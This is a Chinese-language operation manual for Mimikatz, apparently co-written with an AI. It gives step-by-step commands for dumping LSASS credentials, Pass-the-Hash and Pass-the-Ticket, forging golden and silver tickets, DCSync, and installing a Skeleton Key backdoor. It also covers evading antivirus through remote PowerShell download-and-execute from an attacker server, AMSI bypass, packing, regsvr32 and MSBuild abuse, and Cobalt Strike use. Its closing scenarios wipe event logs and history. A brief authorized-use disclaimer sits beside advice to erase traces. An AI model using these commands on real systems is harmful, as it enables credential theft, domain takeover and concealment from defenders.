Mimikatz 操作手册
Author: Asterism && Deepseek Date: 2026.3.20
Lastest edited on 2026.3.20
简介
Mimikatz 是一款开源的 Windows 安全工具,主要用于从内存中提取明文密码、哈希、Kerberos 票据等凭据。它由 Benjamin Delpy 开发,被广泛用于渗透测试和红队行动。
核心功能:
- 抓取 LSASS 中的登录凭据(NTLM 哈希、明文密码、PIN 码)
- 执行 Pass-the-Hash、Pass-the-Ticket 攻击
- 伪造 Kerberos 票据(黄金票据、白银票据)
- 操作 Windows 认证机制(如 Skeleton Key 后门)
- 离线分析 LSASS 内存转储
Windows系统必备知识
参考博客:Mimikatz-Windows background knowledge
安装与运行
获取 Mimikatz
- 官方 GitHub:https://github.com/gentilkiwi/mimikatz
- 下载预编译版本:
mimikatz_trunk.zip,解压后包含mimikatz.exe(32 位)和mimikatz64.exe(64 位)。
运行要求
- 管理员权限(需以管理员身份运行)
- 需绕过杀毒软件(可临时禁用或使用免杀技术)
基本启动
mimikatz.exe
或直接带参数执行:
mimikatz.exe "command1" "command2" "exit"
基础命令与凭据提取
启用调试权限
所有操作前必须执行:
privilege::debug
成功会显示 Privilege '20' OK。
提取所有凭据
sekurlsa::logonpasswords
显示所有登录会话的凭据(MSV、WDIGEST、Kerberos 等)。
单独提取特定凭据
- NTLM 哈希:
sekurlsa::msv - 明文密码:
sekurlsa::wdigest - Kerberos 票据:
sekurlsa::kerberos
离线分析 LSASS 内存转储
- 导出 LSASS 内存(任务管理器或 procdump)得到
.dmp文件。 - 在分析机上执行:
sekurlsa::minidump C:\path\to\lsass.dmp sekurlsa::logonpasswords
输出解析
- NTLM:格式
LM哈希:NTLM哈希,冒号后为 NTLM 哈希。 - 明文密码:在
Password字段,现代系统可能为空。 - Kerberos 票据:包含 TGT 和服务票据,可导出后用于 Pass-the-Ticket。
基础利用技术
Pass-the-Hash (PtH)
使用 NTLM 哈希直接认证,无需明文密码。
sekurlsa::pth /user:用户名 /domain:域名或主机名 /ntlm:NT哈希
执行后会弹出新命令行,在该窗口中可访问目标资源:
dir \\目标IP\C$
Pass-the-Ticket
导出 Kerberos 票据后,在其他机器上导入使用。
- 导出票据:
生成kerberos::list /export.kirbi文件。 - 导入票据:
kerberos::ptt 票据文件.kirbi - 清除当前票据:
kerberos::purge
Overpass-the-Hash
使用 NTLM 哈希获取 Kerberos TGT,适用于 Kerberos 认证的服务。
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:哈希 /run:cmd
高级利用技术
黄金票据 (Golden Ticket)
伪造任意用户的 TGT,可访问域内任何服务。需要 KRBTGT 账户的哈希和域 SID。
- 获取 KRBTGT 哈希(需域管理员权限):
lsadump::dcsync /user:krbtgt - 获取域 SID:输出
whoami /userS-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx-500,取前三段为域 SID。 - 伪造票据并注入:
kerberos::golden /domain:域名 /sid:域SID /krbtgt:KRBTGT哈希 /user:任意用户名 /id:500 /ptt - 验证:
dir \\域控主机名\c$
白银票据 (Silver Ticket)
伪造特定服务的服务票据,无需 KRBTGT 哈希。需要目标服务账户的 NTLM 哈希(如域控的 CIFS 服务)。
- 获取服务账户哈希(如域控计算机账户):
lsadump::dcsync /user:DCNAME$ - 伪造白银票据:常见服务:
kerberos::golden /domain:域名 /sid:域SID /target:目标主机 /service:服务类型 /rc4:服务哈希 /user:任意用户名 /pttcifs、ldap、http、winrm、host。 - 验证:访问对应服务。
Skeleton Key 后门
在域控上安装万能密码 mimikatz,允许任何域用户使用该密码登录(不影响原密码)。重启后失效。
misc::skeleton
DCSync 攻击
利用目录服务复制权限,从域控导出所有用户哈希。
lsadump::dcsync /user:域用户名
如果不指定用户,则导出所有用户。
操作事件日志
- 清除所有事件日志:
eventlog::clear - 删除指定日志:需配合其他工具(如 wevtutil)。
免杀与隐蔽执行
内存加载 (Invoke-Mimikatz)
使用 PowerShell 将 Mimikatz 加载到内存,无文件落地。
IEX (New-Object Net.WebClient).DownloadString('http://你的服务器/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'
注意:可能需要绕过 PowerShell 执行策略和 AMSI。
使用 Shellcode 加载器
将 Mimikatz 转换为 shellcode,使用自定义加载器执行(如 Donut、PeToShellcode)。
加壳与混淆
- UPX 压缩:
upx -9 mimikatz.exe - 使用 Veil、Shellter 等工具生成免杀版本。
编译修改版
从源码修改敏感字符串、添加垃圾代码、替换 API 调用方式,重新编译。
利用系统工具
- MSBuild:上传 XML 文件并执行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe 恶意.xml - InstallUtil:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U 恶意.dll - Regsvr32:
regsvr32 /s /n /u /i:http://你的服务器/恶意.sct scrobj.dll
Cobalt Strike 集成
在 Beacon 中直接使用内置的 Mimikatz 命令,或通过 execute-assembly 内存执行。
mimikatz privilege::debug sekurlsa::logonpasswords
execute-assembly /path/to/mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
常见问题与解决
| 问题 | 原因 | 解决方法 |
|---|---|---|
privilege::debug 失败 | 未以管理员身份运行 | 右键以管理员身份运行 |
sekurlsa::logonpasswords 无输出 | 系统启用了 Credential Guard | 使用离线内存转储 |
| 无法转储 LSASS(拒绝访问) | LSA 保护 (RunAsPPL) 启用 | 临时禁用 LSA 保护(重启)或使用 comsvcs.dll 转储 |
| 杀毒软件拦截 | 特征码匹配 | 使用免杀技术,如内存加载 |
| 黄金票据无效 | 域 SID 或 KRBTGT 哈希错误 | 重新获取并核对 |
| Pass-the-Hash 失败 | NTLM 认证被禁用 | 尝试 Overpass-the-Hash |
实战场景演练
场景一:单机凭据提取
- 以管理员身份运行 Mimikatz。
- 执行
privilege::debug和sekurlsa::logonpasswords。 - 记录 NTLM 哈希和明文密码。
- 使用
sekurlsa::pth进行横向移动(如有其他机器)。
场景二:域环境权限维持
- 在已控域成员机上提取域用户哈希。
- 使用 Pass-the-Hash 登录域控。
- 在域控上执行
lsadump::dcsync /user:krbtgt获取 KRBTGT 哈希。 - 创建黄金票据,注入当前会话。
- 访问任意域资源验证。
场景三:绕过杀软提取凭据
- 使用 PowerShell 内存加载 Invoke-Mimikatz。
- 绕过 AMSI(例如反射加载)。
- 执行凭据抓取。
- 清除 PowerShell 历史记录和事件日志。
注意事项与法律声明
- 仅限授权测试:未经授权使用 Mimikatz 攻击他人系统属于违法行为。
- 环境安全:测试时使用隔离的虚拟机,避免影响生产网络。
- 日志痕迹:Mimikatz 的操作会留下大量日志,实战中需注意清理(如清除安全日志、修改时间戳等)。
- 持续更新:Mimikatz 和操作系统都在不断更新,请关注官方最新版本和绕过技术。
参考资料
- Mimikatz 官方 Wiki:https://github.com/gentilkiwi/mimikatz/wiki
- PowerSploit:https://github.com/PowerShellMafia/PowerSploit
- Cobalt Strike 文档:https://www.cobaltstrike.com/help
- 免杀技术社区:如 Red Teaming 相关博客、GitHub 项目